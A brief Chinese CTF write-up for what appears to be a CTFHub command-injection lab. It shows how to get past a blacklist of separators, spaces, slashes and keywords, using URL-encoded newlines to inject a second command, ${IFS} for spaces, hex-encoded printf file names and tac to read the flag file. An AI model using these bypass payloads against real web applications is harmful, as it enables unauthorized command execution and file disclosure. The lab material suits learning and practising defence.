题目描述
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
Solution
打开网页,可以看到后端源代码:
由源代码可知,后端用正则匹配过滤了||
、&
、|
、;
、空格、/
、cat
、flag
、ctfhub
。
我们换行符的 URL 编码绕过(用 Burpsuite 的 Repeater 发送请求):
0.0.0.0%0als
它实际相当于在 Linux 下编写脚本shell.sh
:
ping -c 4 0.0.0.0
ls
然后用bash shell.sh
去执行。
我们发现 Flag 文件在flag_is_here
文件夹里,我们用 Hex 编码查看:
0.0.0.0%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
最后我们读取 Flag 文件,我们可以用tac
命令绕过:
127.0.0.1%0atac${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x34\x34\x37\x30\x31\x32\x34\x30\x30\x32\x38\x35\x33\x37\x2e\x70\x68\x70")